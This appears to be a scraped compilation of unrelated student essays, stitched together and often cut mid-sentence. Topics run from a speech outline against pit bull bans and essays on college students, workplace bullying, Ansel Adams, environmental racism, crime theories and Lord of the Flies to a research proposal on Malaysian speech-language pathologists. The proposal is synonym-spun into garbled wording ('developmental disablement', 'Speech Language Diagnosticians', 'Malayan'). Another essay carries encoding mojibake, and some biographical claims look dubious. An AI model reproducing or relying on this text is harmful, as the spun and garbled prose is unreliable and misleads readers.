stranger dogs usually do not have the state of mind to correctly identify the dog. Most people see Pit bull as a title for many different breeds of dog. li. So they become the easy scapegoat. Transition: Even if any of these claims had truth, it still is too much of a hassle to pass the bans and keep them enforced. Ill. [Second Level of Subordination] Banning Pit Bulls would require even more paper work and regulations than required in the pet owning business. A. Enforcing laws and bans would be an absolute nightmare. 1. The Paper work for each dog and dog breeder would be impossible to keep up with, even with electronic files and our modern technology. 2. Legal actions, prosecution, court dates, fines, arrests. It is Just too much to do for a dog. a The money and time spent tor the Judicial system would be atrociously misused This law would devastate the pets and pet owners who have strong bonds between their pets. Mans best friend. 1 . Under these conditions pet owners are forced to make the decision of giving up their dog or moving to a town where Pit Bulls are legal. a. Decided to move they would leave their friends, their Job, and their home. . Decided to stay the Pit Bull would have to be sent away to another home or to a shelter. i. Most people have no idea that at many animal shelters across the country, any pit bull that comes through the front door does not go out the back door alive. From California to New York, many shelters have enacted policies requiring the automatic disposal of the ever-growing number of pits they encounter. (Phillips) Transition: Regardless of your desire to own a Pit Bull in the future I hope that t his speech has set your mind at ease about the so called dangers of Pit Bulls. Conclusion l. Restatement [summary of main ideas] Once more, we should not have these bans because of the three reasons I have Just gone over. A. First, Pit Bulls are no different than other dog species. B. Second, most evidence condemning the Pit Bull is on false pretenses. C. Finally, a ban would, and has, caused more work and regulations than necessary. II. Now you are educated towards Pit Bulls and know what decision to make when they try to make our pets, nice friendly dogs, illegal. Enthymeme Assignment 1 . [Hypothetical Enthymeme] Major Premise: If bans on Pit Bulls are passed, Pit Bulls will not be legal to own. Minor Premise: You cant own illegal things.

College Students today! essays

College Students today! essays College students today are very different from those of previous eras, and can be classified into three different categories. The Braniacs, the average Confused crowd, and the Slakers are the three main groups into which college students are divided. The purpose of the present is to inform you of the characteristics that identify an individual classified in any of these groups. By doing so, once you have acknowledged which group you pertain to and your flaws, you will hopefully set yourself a goal in hopes to improve your status as a college student. First there are the upper-intelligence group better known as the Braniacs. These are the individuals who posses the brains to manage and accurately cope with the overwhelming college experience. They usually have good time management skills, which allows them to have a balanced schedule and proper distribution of time permitting them to do all the required assignments and have space for leisure activities without having to sacrifice either. They maintain a 3.0 and above grade point average without really stressing themselves. Usually the integrants of this particular group posses just the right amount of maturity and realism to make out of their college experience a true success without wearing out their brains and making their lives miserable. These smart students most likely earned their studies financially through their hard work and consequently scholarships. The second group we wish to analyze is the Average Confused Crowd. Most college students fall under this category. The average procrastinating-do not know what to do with their life-puzzled daydreamers. Seeds of the average economic-class family; a family that works hard to pay for their childs college studies. These fellas are somewhere in between the best and the worst. They manage to obtain passing grades yet their journey to reaching these is...commendable. They make their l...

Workplace Bullying Research Essay Example | Topics and Well Written Essays - 2000 words

Workplace Bullying Research - Essay Example According to the website 'bullying at work' although bullying often lacks a focus, bullies are deeply prejudiced but at the same time sufficiently devious to not reveal their prejudices to the extent that they contravene laws on harassment and discrimination. The workplace bullying is defined as "a person is bullied or harassed when they feel repeatedly subject to negative acts in the workplace, acts against which the victim may find it difficult to defend themselves" Einarsen et al (1994) cited in Lewis et al (2005). The choice of the technique by which data is gathered depends upon the choice of the researcher and the requirements of the research or investigation. Although there is no particular data collection technique which can symbolized as ideal for every situation, there are a variety of data collection techniques that can be considered for being used. Data in social sciences are attained in either formal or informal settings and evolves verbal (oral and written) or non-verba l acts or responses. The combination of the two types of responses results in the four major forms of data collection. These being: observational methods; survey research; secondary data analysis; qualitative research, Punch (2005). Different methodologies like surveys, field observations, interviews are being used in Social research studies. Such studies are often conducted through a combination of data collection techniques to ensure a maximum validity of the data collected. The method selected depends on the resources available and the nature of the phenomenon under investigation. However, there had never been a consensus on the best technique or method that can be termed as scientific. Malcolm (1996) In this respect, the motive behind the concern with the attempt to identify the scientific method is that as Malcolm points out "most philosophers of science have argued that method used is the only guarantee that knowledge obtained is valid, reliable and thus scientific. By employing the correct method[s], the scientist may be sure that their findings are true, repeatable and generalisable." Social research is defined by Malcolm (1996) as "the process of investigation that defines something as being research, rather than being driven by more abstract concerns." While he describes research as a "methodical investigations into a subject or problem. To research is to seek answers that involve understanding and explanation, whereas the credibility of its outcomes will rest heavily upon the conduct of the investigation." In this respect, Frazer (1995) argues that "careful research delivers valuable findings." 3.0 Research Methodology: Hammersley (2006) highlights two areas where philosophy can make an important contribution to social science. These areas are methodology and value relevance. Methodology is concerned with clarifying both the aims and means of research. While value relevance is related to values that frame social science inquiries so as to make them relevant to human concerns. In terms of methodology, Hammersly draws a basic distinction between methodology as technique and methodology as philosophy. Methodology as a technique, on one hand, portrays research as the deployment of particular methods and procedures, those that are taken to be scientific. On the other hand, methodology as a

Ansel Adams Photographs Research Paper Example | Topics and Well Written Essays - 2000 words

Ansel Adams Photographs - Research Paper Example Fine arts, therefore, were visual in nature and dealt primarily with aesthetic value while applied arts mainly focused on the purpose of such arts and how they could be used in day to day operations. More and more description of art continues to manifest with the most recent one defining it as a reflection of human creativity. At the beginning of the 20th century, the significance of different forms of art had been classifies in to nine categories. These include; film, comedy, painting, architecture, dance, sculpture, music, poetry and lastly photography. Another variation that had been developed included the establishment of design and graphic arts in place of plastic and visual arts as well as the introduction of other terminologies advertising, television, video, performance, and etcetera. We shall be placing more emphasis on the visual forms of art and more specifically the works of photography done by one Ansel Adams. His black and white classical photographs created a revolutio n in the field of photography. The paper will discuss the various elements of art used in his photographs as well as the meanings they convey. Clear definition of the artistic nature of photography will come out in this research. Background Information Born and raised in a wealthy family in 1902, San Francisco, Ansel Adams was a typical teenage boy. His shy and introvert nature coupled with an attack by a hyperactive disorder forced him to undertake most of his learning at home. It was during his home learning lessons that he stumbled upon a book by James Mason that transformed his life altogether. The book fueled his love for nature and soon they relocated to Yosemite National Park where he managed to coin his skills in photography. Using his camera donated to him by his parents, he managed to capture breath taking pictures of the landscape in the park. It is these photographs that marked the beginning of an incredible lifetime artistic productivity. His first debut published photo graph appeared at the Sierra Club bulletin where he worked as a caretaker at the time. Later on in 1927, he received an award for his critically acclaimed image of a landmark in Yosemite known as the ‘Monolith, the Face of Half Dome’1. He claims that he had visually pictured the result of the photograph before he even clicked away his camera. In his own words, he stated that the image had a distant sharp peak against the backdrop of a dark sky with deep shadows and a brooding form. It is these elements that became the foundation of all forms of visual art. He later on married his longtime girlfriend and musician, Virginia Best, with whom they bore two children, Michael and Anne. Both siblings also got involved the photography and later on took charge of the family business after the passing away of Adams and renamed it the Ansel Adams gallery. Other exemplary works of photography done by Adams include; photographs of skiing and ice skating as well as sledging, which was used by the government to promote winter tourism. Addition, he also took extensive photographs of the inventory of the structure of the historic Ahwahnee Hotel before it got transformed into a hospital by the U.S. Navy. Photographs of Kings and Kern Rivers used by congress to deliberate for the creation Kings Canyon National Park had been captured by his powerful lens2. Additionally, he managed to document a Japanese American internment camp, popularly known as Manzanar, through the use of photographs. His ability to visualize the outcome of

Environmental Racism, Climate Change, Essay Example | Topics and Well Written Essays - 500 words

Environmental Racism, Climate Change, - Essay Example The only remedy to address environmental racism is through environment justice, which promotes environmental, social, and economic justice. In my view, environment justice is better because it advocates for public policy to be based on justice, and mutual respect for all regardless of color. Legal Pragmatism is a philosophical approach that tries to infuse methods, and precepts of Pragmatic thinking to the legal theory. The pros of legal pragmatism include, the attitudes and methods of pragmatic thought are good for public environmental decisions making; it focuses on the accomplishment of social ends and social justice through advocating for judicial adherence to the interpretations of environmental statutes; it focuses on innovation and experimentation to problem solving (Singer, 2002). The cons of legal Pragmatism include, it lacks certain marquee values because of its insistence on practicability, recognition for social needs and innovation and sensitivity to facts. Either because for its insistence on pluralistic, experimentation, and experiential learning it can fail to provide the right answers to good disputed environmental questions. Environmental Pragmatism tries to connect the methods, and precepts of philosophical Pragmatism to find a solution to the real world environmental issues. In view of this, there is thus an intersection with legal pragmatism in that they both advocate for methods, and precepts of philosophical Pragmatism. In my view, a pragmatic perspective would have a better outcome given its insistence on experimentation, concrete facts, flexibility, and practical, workable solutions combined with democratic consensus can offer better outcomes. Stephen Gardiner gives the problem of environmental climate change a different approach. He considers the problem as ethical failure due to failed action by humans to confront this catastrophe. He identifies the storms or temptations that make human vulnerable to

Theories of Crime | Introduction

Theories of Crime | Introduction There are many theories of crime which fit into four different models each explaining crime through varied approaches, in this essay I will be discussing the weakest of these theoretical explanations of crime and the strongest. The weakest theory of crime is Biological Positivism which is part of the Predestined Actor Model which is a positivist model explaining criminal behaviour based on scientific factors beyond a persons control. Biological positivism has been heavily criticised by many criminologists due to their explanations that the internal factors of a person is what causes crime, this will be explored further and proven to be the weakest theory throughout the essay. The strongest theory of crime is Left Realism, which is an integrated explanation. This theory takes into account elements of other approaches and realises that there are multiple causes of crime therefore making it one of the strongest theoretical explanations, this will be elaborated on in the body of the essa y and will be further proven why it is the strongest of all the theories. Throughout the essay I will be addressing the main points, the key thinkers, their explanations of crime and why it was chosen for each theory, which will then conclude in support of my claim of the weakest and strongest theories. Lombroso was the founding father of biological positivism and his theory suggested that people were born criminal; this explanation was influence by Darwins work on evolution and atavism. Although he was a biological positivist his work gradually turned towards environmental factors therefore suggesting that biological factors as the cause of criminality was not enough of an explanation and poverty for example also became influential. Lombroso was interested in criminal behaviour and categorized criminals as born criminals, insane criminals, occasional criminals and criminals of passions. He set the scene for all positivist work and other biological positivists based their work on Lombrosos findings. However Lombrosos work has been criticised, as it used outdated methodology which was very basic therefore he was unable to create any meaningful conclusions. Furthermore he did not consider female offenders, any criminal acts which were carried out by women he disregarded and stated tha t the men were responsible for the female involvement, therefore lacking in validity (Burke, 2009). Matza in 1964 went on to say that a criminal is a specific type of person, that is different to those that are not criminals and that crime occurs due to factors outside of their control. However, this then ignores the aspect that humans have free will to commit crimes therefore disagreeing with theories in the rational actor model like Classical theory, which states that people choose to commit crimes. There are many theories in biological positivism which all state that individuals are compelled to commit crime as it is part of their biological make-up, such as physical factors, theories related to the body, chromosomal anomalies, etc. however these have be criticised as you will see below. Physical type theories were the first to come out and this was based on the idea that criminals stand out based on of their appearance. Lombroso did research on atavism as mentioned above, that criminals are born criminal and show signs of criminal throwbacks for example long ears and sloping foreheads. As a result of this, people speculated that those with physical atavistic characteristics were criminals and used it as a prevention tactic. However this only related to a small amount of criminals and therefore is not very reliable and many with these characteristics could be wrongly accused of criminality. In todays society Lombrosos work is considered outdated and discredited due to the theory that a persons physical appearance increases the likelihood of them being a criminal, this is seen as absurd and meaningless, hence perceived as a weak theory. Phrenology, which is the study of skulls was also used to explain crime, Gall stated that by looking at the shape and bums of a skull can indicate a persons character and specified that the area above the right ear determines how violent that person is. This theory has been criticised immensely along with physiognomy, which tells a persons character through facial featured, due to its lack of credibility. There is not enough substantial evidence to prove this theory amongst a vast population because people are individuals with an individual biological make-up (Maguire, 1997). Sheldon has done some similar work on linking body shape to behaviour, (his theory of somatypes) and identified three forms of body types which relate to certain personalities. He established that offending behaviour and crime is linked with mesomorphs, who are muscular and athletic with an aggressive personality. However it does not consider that these types of people may be targeted by the police more than the other two body types therefore is supporting his theory as those athletic built individuals are getting caught, where as other body types are not. These physical theories are very weak as they are ignoring different aspects of the interaction between the physical characteristics of the person and their social circumstances. (Burke, 2009:74) People from poor families and areas may have a poor diet therefore causing them to be small, while young people working manual jobs are more likely to be muscular. These people are over-represented with criminals, which could be explained by socio-cultures not via biological factors (Burke, 2009). Furthermore, to support the statement that biological positivism is a weak theory, Sheldons work was follow up by a Cambridge Study in Delinquent Development and found there was no physical difference between offenders and non offenders, therefore suggesting there is no reliability due to the inconsistency. Further criticisms of this theory are based on its methodology, as the sample of offenders and non offenders are not representative to society as mentioned above it does not account for those who do not get caught, it ignored the sifting process in the criminal justice system. It also disregards interaction with the environment, as those individuals with physical stigmas may retaliate against their social environment and labels given to them therefore living up to the expectation leading to a self fulfilling prophecy (Taylor, Walton, Young, 1973). Chromosomal Anomalies is another category of biological theory criminologists have used to explain crime, it looks at the link between abnormal chromosomes and criminal behaviour. A normal female complement is XX and male is XY, an abnormal complement is when there are chromosomes missing or there are too many for example the XYY. Brown in 1962 found that those with sex chromosome abnormalities had higher rates of delinquency than his other patients. Casey et al (1966) followed on from his work and did the first major studies at a secure hospital and found supporting results for men with an extra Y chromosome as well as them being taller and having low intelligence (Taylor, Walton, Young, 1973). The limitations for this theory are similar to that of the body type category, for example those with an extra Y chromosome may be taller and well built therefore targeted and treated harsher by agents of the criminal justice system like the police and judges. Further limitations which makes this theory the weakest, is that there are many individuals that are normal and do not behave criminally in society that have extra chromosomes, therefore suggesting that others factors have to be involved. In addition this theory also ignored the fact that those young men with an extra Y chromosome came from a working class background, therefore the cause of criminality could be due to their exploitation from the ruling class not because of chromosomes. Marxist theory would agree that the cause of criminality was a result of capitalist society and not chromosomes that are not identifiable and unable to predict criminal behaviour. Biological positivists also explained criminality as genetically inherited; they suggested that a criminal gene can be passed on through the family just like physical characteristics. To test this theory they used three sources of data, studies of criminal families, studies of twins and studies of adopted persons. All three sources claimed that criminal behaviour was inherited rather than environmental, however family studies did not considered the effect of an absent parent lending to criminality. In twin studies they could not identify whether criminality was influenced more by environmental or biological factors however did mention that biological theory on its own to explain crime is not enough, therefore is a weak theory to base criminal explanations on. This was also reiterated in adoption studies emphasising that environmental factors play a role and add to the reliability of the theory, therefore showing the weaknesses of the biological theory when it is used to explain crime on its own (Wiley, 1996). There are many weaknesses in the categories within biological theory, from the methods used by criminologists to their shortcomings in ignoring certain aspects including the three data sources that explained inherited criminal characteristics. The main limitations in biological positivism occur throughout all the categories even biochemical explanations such as hormone imbalances and substance abuse which has not been discussed in detail. The reason this theory was chosen as the weakest is due to it many limitations; criminologist largely discredit this approach as it is nowadays seen as outdated and not relevant, therefore there are many better explanation to crime that can be proven. Biological theory only looks at criminality from one approach which is seen as a very over determined view of human actions and a more integrated approach would explain crime better for example the more recent socio-biological explanation of crime. It only explains criminal behaviour effectively in a m inority of offenders and has considerably more limitations as mentioned above. This weakest theory also cannot explain the variation in crime rates and offers no explanation to why and how laws arise. A further reason it was chosen as the worst, was due to the unethical and harsh treatments to prevent crime which in the USA, even results in death, genetic selection and sterilisation. The strongest theoretical explanation of crime is left realism. This theory is chosen as the strongest because unlike biological positivism it does consider other factors and is an integrated model which recognises that there are many causes of crime and contains essential parts from all three models of crime. Jock Young had a major turnaround which altered criminological thinking to the emergence of left realism; when crime rates were meant to decrease due to economic restructuring and improved conditions and instead actually increased, with the increased awareness of victims of crimes and crimes that were previously invisible, and finally a growing public demand and disapproval in efficiency of public service (Newburn, 2007). This new criminology from the left political view, with criminologists such as Young, Lea and Matthews believed crime is a real issue and not socially constructed therefore it needs to be addressed. Left realism is the strongest theory as it takes into account the immediate fears that people have and seek to deal with them (Burke, 2009:264), such as street crimes in high offending areas as those living there are caught right in the middle of it. As mentioned above this theory is seen as theoretically strong as it recognises various causes of crime that are credited. The relationship individuals have with the police could be a cause of crime, if the police are harassing people therefore causing them to retaliate or feel helpless; this will drives them to offend. This theory is supported by labelling theory which makes it stronger because instead of theories disagreeing with the causes it agrees therefore creating validity. The police can also cause moral panics in society which can lead to further criminal behaviour; this could be a distraction by capitalist so that the working class are not aware of the real issues that they should be concerned about, this strength allows the individual to be aware of the capitalist system and the exploitation by the ruling class therefore can avoid crime. A key element of left realism is relative deprivation as a cause of crime. People measure their situation for example what they have got, (money and jobs) against the expectation that society creates. When individuals are unable to reach that expectation they may turn to crime in order to achieve it, this is the theory of anomie suggested by Merton. This explanation adds to the strength of this theory as it highlights economic and social factors of crime. Another key element is subculture, Lea and Youngs subcultural model explains how subcultures are used as a response to problems. Those who are unable to adapt to middle class values create subcultures that include people that share their norms and values so they are no longer frustrated. This therefore can be a response to the problem for the working class individuals; however this subculture may create norms and values to suit the group which may include criminal acts as a way of rebellion against the system (Lea, 2002). The final key element is marginalisation, as certain groups lived on the margins of society and are not accepted by others, consequently turning to crime. All these explanations of crime are some of the best from other theories and now under one theory therefore this is the strongest theoretical explanation of crime. An additional reason this is chosen as the strongest theory is because it provides a solution to crime and not just the causes, this is shown with the square of crime. Left realists state that crime is a gathering of the following four factors and the relationships between the four factors determine the effectiveness of that relationship to preventing crime. The first of the four factor, is the state; where the agents of the system label individuals as offenders which is a major factor of recidivism, the second is the victim; who may encourage criminal behaviour due to lack of defence or through repeated lifestyle (routine activity theory), the third is society; where formal and informal social controls occur and the fourth is the offender; how often they commit crimes and the type of offences, etc. (Burke, 2009). To prevent crime, you have to interfere at each point of the square. For example, in the state the police should have more effective policing and the courts should not make preconceptions. The victim should be more responsible for their protection and maybe change their daily routines regularly. The public (society) to ensure that the required socialisation is taking place in primary years and finally the offenders should exercise their free will and decide not to offend. A criticism of left realism, is that the theory is mainly based on previous approaches. However this can be considered as a positive factor, as the theory is hard to criticise due to the fact it has elements from all modules therefore accounts for many explanations and was chosen as the strongest theory. Further advantages includes how it seeks realistic policies to tackle crime problems and how left realism is about prevention not control, therefore left realists believe that if you punish it will lead to marginalisation, so consequently prevention is better.

lord of flys ( i got a b+) 11th grade :: essays research papers

SYMBOLISM   Ã‚  Ã‚  Ã‚  Ã‚     Ã‚  Ã‚  Ã‚  Ã‚  What?s it like to be stranded on a desert island in the prime of you youth, with no adult figure? William Golding show what may happen in just this circumstance. In this very complicated novel Golding brings out many ideas and shows what lack of the adult figure leads to. Above all others though comes symbolism of three main important objects being the conch, fire, and ?Piggy?s? eyeglasses. Through each of these three symbols Golding shows how the boys adapt and change throughout the novel. All three of these symbols together are one of the most important elements of the story.  Ã‚  Ã‚  Ã‚  Ã‚     Ã‚  Ã‚  Ã‚  Ã‚  The first symbol, which is used all throughout the book, is the symbol of the Conch. The conch was a large shell which piggy had first unearthed on the island. The conch shows powers all throughout the book and always commands respect form the boys due to its importance. The importance and power would best be compared to that of a congregation when a Rabbi removes the torah from the ark, which holds it. The first quote which best shows the importance of the conch is when it is used by Ralph and Piggy to get all the boys together when they find themselves alone on the island. ?The Conch, we can use this to call the others. Have a meeting they?ll come when they hear us- (16).? Then again at the second meeting we see how the boys are drawn to the Conch and how it is like a magnet to the boys, which draws them to who ever uses it. ?By the time Ralph had finished blowing the conch the platform was crowded (32).? The conch also shows the first idea of civilization and rules. One example is when there is disorder because everyone I talking at once. ?Conch, that?s what the shell is called. I?ll give the conch to the next person who speaks. He can hold when he is speaking (33).? Finally the conch is used for is to show how Piggy does so much to help them and does not get credit for it. It was used that way when Piggy was the first one to see the Conch and Piggy was the one who knew what it was and instructed Ralph on how to use it. But when all the boys came from the Conch?s noise Ralph got credit for it.

Malaysian Speech Language Pathologists Practices Education Essay

1.0 IntroductionThe best indicant to find the local prevalence of kids with developmental disablement is from international surveies which have suggested that more than 10 % of all kids in the universe have developmental disablement ( Amar 2008 ) . Using this rate to local population under 15 old ages old with the figure of 9.2 million ( Department of Statistics Malaysia 2011 ) , approximative 920,000 kids with disablement would be found in Malaysia. Speech Language Pathologists ( SLPs ) play a important function in assisting the communicating development of individuals ( ASHA 2005 ) so that they are able to populate inclusively in society as stated in Persons with Disabilities Act 2008 ( Government of Malaysia 2008 ) . In the mid-1990, merely less than five Speech Language Diagnosticians who trained overseas were working locally in Malaysia which ensuing of amazing 1: 2.5 million Speech Language Pathologist to people ratio ( Ahmad 2010 ) . Finally, formal local Speech Language Pathologist preparation started in the late 1990 ( Sharma 2008 ) . Universiti Kebangsaan Malaysia ( UKM ) is the innovator to offer Bachelor of Speech Science with Honors while Universiti Sains Malaysia ( USM ) began offering their Speech Pathology plan in 2004-2005. By 2011, more than 175 Speech Language Pathologists had graduated from the universities ( Aishah 2012- unpublished ) and are functioning to the community in different scenes. Lian & A ; Abdullah ( 2001 ) found that the profession of Speech Language Pathologist is still in its babyhood phase in Malaysia. The profession still needs old ages to turn and maturate ( Kosta 2005 ) . Indeed, many Malayan Speech Language Diagnosticians have indicated that they face great challenges to keep good profession patterns. The challenges are unfavourable working environment, deficit of Speech Language Pathologists, high caseload, small chances for go oning instruction and other factors ( Ahmad 2010 ; Sharma 2008 ) . Despite many challenges that affect Malayan Speech Language Pathologists patterns when pull offing instances, the balance between pragmatism and professionalism should be achieved in order to supply equity and quality of service proviso ( Ahmad 2010 ; Taylor-Goh 2005 ) . American Speech-Language-Hearing Association ( ASHA ) and Centers for Disease Control and Prevention ( CDC ) define Developmental Disability ( DD ) as terrible chronic conditions that occur in an single due to physical and or mental damage. Examples of developmental disablement are rational disablement such as Down ‘s syndrome, neuromuscular upsets such as intellectual paralysis, sightlessness, hearing damage, larning disablements, epilepsy, and Autism Spectrum Disorder ( ASD ) ( Decoufle et al. 1994 ) . The oncoming of the conditions is before 22 old ages of age and will normally stay throughout the person ‘s life-time. Peoples with developmental disablement have restrictions and jobs in his or her major functional life activities such as acquisition, working, walking, speech production and other countries ( ASHA 2005 & A ; CDC 2011 ) . Paul ( 2001 ) described kids in the Developing Language Stage ( DLS ) as group of kids who are still at the period of larning to unite words into sentences and they have expressive vocabularies larger than 50 words. Developing Language Phase occurs between 2 and 5 old ages of age for typical developing kids. Another manner to depict Developing Language Stage is that it refers to linguistic communication degree in Brown ‘s Stage II-V. This indicated average lengths of vocalization ( MLU ) of more than two but less than five morphemes. The type of sentence produced by them are at the scope of additive simple sentences with outgrowth of grammatical morphemes, like â€Å" my cat ‘s feeding † to intensify sentences, like â€Å" I drink milk and daddy drink java † ( Shipley & A ; McAfee 2009 ) . Developing Language Phase is the most explosive phase of linguistic communication development for kindergartner to develop from telegraphic vocalizations to basic sentence constructions ( Paul 2001 ) . For kids with developmental disablement, they needs appropriate intercession to travel through this phase ( Paul 2001 ; International Centre for Allied Health Evidence 2007 ; Law et al. 2010 ) . Hence, this is an of import passage gate for them to either remain at the same phase or to turn and come in the Language for Learning Stage. Malayan Speech Language Pathologists play great function to ease the acquisition of this group of kids. This is because mean caseload seen by Malayan Speech Language Pathologists particularly those who are working general infirmary consists of paediatric instances ( Aishah 2012- unpublished ; Sharma 2008 ) . From all the paediatric instance, Speech Language Disorder ( SLD ) is the most prevailing type of communicating damage seen by Speech Language Patholo gists in general infirmary ( Aishah 2012- unpublished ) . Therefore, this survey will function as a mention for the professionals in address and linguistic communication pathology about the pattern by Malayan Speech Language Pathologists in pull offing kids with Developmental Disability in the Developing Language Stage. Opinions and recommendations by Malayan Speech Language Pathologists sing the bing issues will besides be collected to give more in-depth apprehension about the pattern by Malayan Speech Language Pathologists. Besides, this survey will supply feedbacks to the professional associations & A ; universities about the development of Malayan Speech Language Pathologists. Clinical pattern guidelines related to communicating upset in kids are good documented by professional association from western states because they provide relevant statements sing clinical direction that are based on the available current groundss including adept clinical sentiments ( Hargrove et al. 2008 & A ; Taylor-Goh 2005 ) . The guidelines besides assist Speech Language Pathologists in clinical determination devising procedure and to supply high criterions of minimal best patterns services ( Hargrove et al. 2008 ; SPA 2001 ; Taylor-Goh 2005 ) . Looking back to Malaysia, guideline constitution for the profession of speech linguistic communication pathology in the local context is still developing due to limited resources and work force. Based on the guidelines documented by American Speech-Language-Hearing Association and Royal College of Speech Language Therapists ( RCSLP ) , few common chief clinical procedures are highlighted and overly discussed to guarantee minimal best pa ttern to be practiced by the Speech Language Pathologists. The procedures are attack used in direction, appraisal, planning and intervention ( ASHA 2005 ; Gerber & A ; Prizant 2008 ; Taylor-Goh 2005 ) . Approach used in speech linguistic communication pathology direction could be delivered utilizing different attacks harmonizing to the state of affairs by either working independently or in close partnership with squad members ( SPA 2001 ) . However, coaction that involves household centered, squad working and culturally appropriate services is able to guarantee effectual direction to the kids with Developmental Disability in the Developing Language Stage ( ASHA 2005 ; Diane 2011 ; SPA 2001 ; Taylor-Goh 2005 ) . Family-centered is a set of interrelated beliefs, rules and values that practiced by the facilitators including Speech Language Pathologists to back up and beef up the kid ‘s household capacity to heighten and advance his development and acquisition ( Dunst 2002 ) . Through working in a multidisciplinary or interdisciplinary squad, Speech Language Diagnosticians do non provides services in isolation. Alternatively, this teaming establishes a joint intent and shared ends throughout the direction among the households, professionals and the kid ( ASHA 2005 ) . The cultural background of the households and the kid with Developmental Disability is really meaningful in service proviso particularly in Malaysia, a state which is good known by its multi-ethnicity, multi-cultures and multi-linguistics. Multicultural fluctuations that ever encountered by Speech Language Diagnosticians are values about acquisition, beliefs and perceptual experience about kid functions in the household, outlooks for child behaviour at different developmental degrees and household perceptual experiences and attitudes toward a â€Å" disablement † ( Diane & A ; Froma 2011 ) . Assessment involves roll uping relevant informations about the kid ‘s conditions to make a diagnosing while diagnosing entails placing and understanding the jobs or shortages of the kid ( Paul 2001 ) . Both assessment and diagnosing are ongoing procedures because the diagnosing of the kid could alter over clip as the turning and development of him or her are besides ongoing ( Haynes & A ; Pindzola 2004 ) . The chief grounds for appraisal are to get at a good apprehension of the kid ‘s job, to set up the baseline degree of operation, to ease ends be aftering for intercession and to mensurate the advancement of the kid in intervention ( Haynes & A ; Pindzola 2004 ; Paul 2001 ) . Appraisal with kids with Developmental Disability in the Developing Language Stage is encouraged to see all relevant modes across different contexts utilizing appropriate appraisal tools ( Paul 2001 ; Taylor-Goh 2005 ; Haynes & A ; Pindzola 2004 ) . In add-on, appraisal of developmental age or menta l age is normally used by Speech Language Pathologists during diagnosing to qualify the kid ‘s functional accomplishments. But, many Speech Language Pathologists excessively have been discouraged to trust entirely on the usage of developmental age appraisal during diagnosing because it could non reflect the high variableness among the kids ( DeVeney et al. 2012 ) . Based on the assessment findings, the planning of intercession plan specifies the ends and the procedure of intercession by sing the kid ‘s damage, demands and outlooks ( Paul 2001 ; SPA 2001 ; Taylor-Goh 2005 ) . The planning aims to place and develop meaningful and contributing acquisition environment for the kids with Developmental Disability in the Developing Language Stage in functional day-to-day activities ( ASHA 2005 ) . Hence, relevant and possible schemes, contexts, issues, result and timeline should be documented to ease the service provided by Speech Language Pathologists is coordinated, comprehensive and holistic ( Diane 2011 ; Paul 2001 ; SPA 2001 ; Taylor-Goh 2005 ) . Besides, Speech Language Diagnosticians are strongly encouraged to follow Evidence-Based Practice ( EBP ) to help clinical determination ( ASHA 2005 ; Brankenbury 2008 ; Diane 2011 ; Johnson 2006 ; SPA 2001 ; Taylor-Goh 2005 ) . Evidence-Based Practice ( EBP ) encourages the Speech Language Patholog ists to take consideration of ( a ) current high-quality scientific research ; ( B ) Speech Language Pathologists expertness and experience ; and ( degree Celsius ) household ‘s penchants, values, and involvements ( Diane 2011 ) . It is an of import portion of effectual and ethical directions as it guides Speech Language Pathologists to extinguish methods which appear no or minimal clinical effects ( Brankenbury 2008 ; Taylor-Goh 2005 ) . Besides, Evidence-Based Practice besides helps the profession of speech linguistic communication pathology to accomplish higher answerability and credibleness ( Johnson 2006 ) . Effective instruction techniques ( ASHA 2005 ; Dunst et Al. 2011 ; Law et al. 1999 ; Law 2003 ) are really of import to find the result of the intervention plan. There are three types ‘ of intercession methods that are didactic, realistic, and combination of didactic & A ; realistic attacks ( Dunst et al. 2011 ; Law et al. 1999 ; Law 2003 ) . The classification of different type of intercession methods is non purposes for Speech Language Pathologists to take merely one method and utilize it systematically. In fact, it prepares a repertory of methods available for Speech Language Pathologists to fit the acquisition of the kid with the specific ends that have targeted ( Paul 2001 ) . In this manner, the efficiency of the intervention for the kid with Developmental Disability in the Developing Language Stage is maximized. Introduction of appropriate stuffs or activities ( ASHA 2005 ) , single acquisition environment ( ASHA 2005 ; Dunst et Al. 2011 ) , assistive engineerings ( Sand ra & A ; Sahoby 2006 ) and Augmentative and Alternative Communication ( AAC ) systems ( Millar et Al. 2006 ; Rose et Al. 1999 ) are all portion of duties of Speech Language Pathologists in giving intervention to the kids with Developmental Disability in the Developing Language Stage. These constituents facilitate the acquisition and growth of the kid in a familiar nature environment which is filled with synergistic communicating and societal routines/activities. Besides, the debut besides promotes the kid to generalise the new accomplishments to new state of affairs that would go on in mundane contexts. Back to Malaysia, Joginder Singh et Al. ( 2011 ) reported that Malayan Speech Language Pathologists demonstrated best pattern in many countries but fail to make in some other countries when supplying services to pre-symbolic kids. Approach used in speech linguistic communication pathology direction which consist the coaction of household centred, squad direction and culturally appropriate services is found barely practiced ( Lim 2008-unpublish ) ; Diane 2011 ; Joginder Singh et Al. 2011 ; Othman 2010 ) . Furthermore, Lian & A ; Abdullah ( 2001 ) found that Malayan Speech Language Pathologists were likely to trust on informal appraisals because formal appraisals are limited in the local market. When measuring pre-symbolic kids, Malayan Speech Language Pathologists showed low trust of roll uping communicating sample and roll uping informations out of clinic ( Joginder Singh et Al. 2011 ) . Looking into intercession pattern, Malayan Speech Language Pathologists demonstrate different int ercession attacks and techniques across different scenes ( Lian & A ; Abdullah 2001 ) . In other custodies, Augmentative and Alternative Communication ( AAC ) systems and assistive engineerings are non famously introduced by Malayan Speech Language Pathologists to better the efficiency of the intervention plan ( Joginder Singh et Al. 2011 ) .2.0 RESEARCH QUESTIONSHow Malayan Speech Language Pathologists holistically manage kids with Developmental Disability in the Developing Language Stage? What are the bing issues faced by Malayan Speech Language Pathologists when pull offing kids with Developmental Disability in the Developing Language Stage? What are the recommendations for better pattern suggested by Malayan Speech Language Pathologists when pull offing kids with Developmental Disability in the Developing Language Stage?3.0 RESEARCH OBJECTIVE3.1 General ObjectiveTo analyze Malayan Speech Language Pathologists ‘ patterns in pull offing kids with Developmental Disability in the Developing Language Stage.3.2 Specific AimsTo find the specific clinical constituents practiced by Malayan Speech Language Pathologists in pull offing kids with Developmental Disability in the Developing Language Stage as are attacks used, assessment, planning and intervention. To find the bing issues faced by Malayan Speech Language Pathologists in pull offing kids with Developmental Disability in the Developing Language Stage. To depict the recommendations suggested by Malayan Speech Language Diagnosticians of better pattern in pull offing kids with Developmental Disability in the Developing Language Stage.4.0 METHODOLOGY4.1 Research DesignThis is a cross-sectional qualitative and quantitative survey via study.4.2 Sampling PopulationThe population of this survey covers all Malayan Speech Language Pathologists.4.3 Study SiteParticipants will be recruited from all 14 provinces in Malaysia.4.4 Sampling MethodPurposive 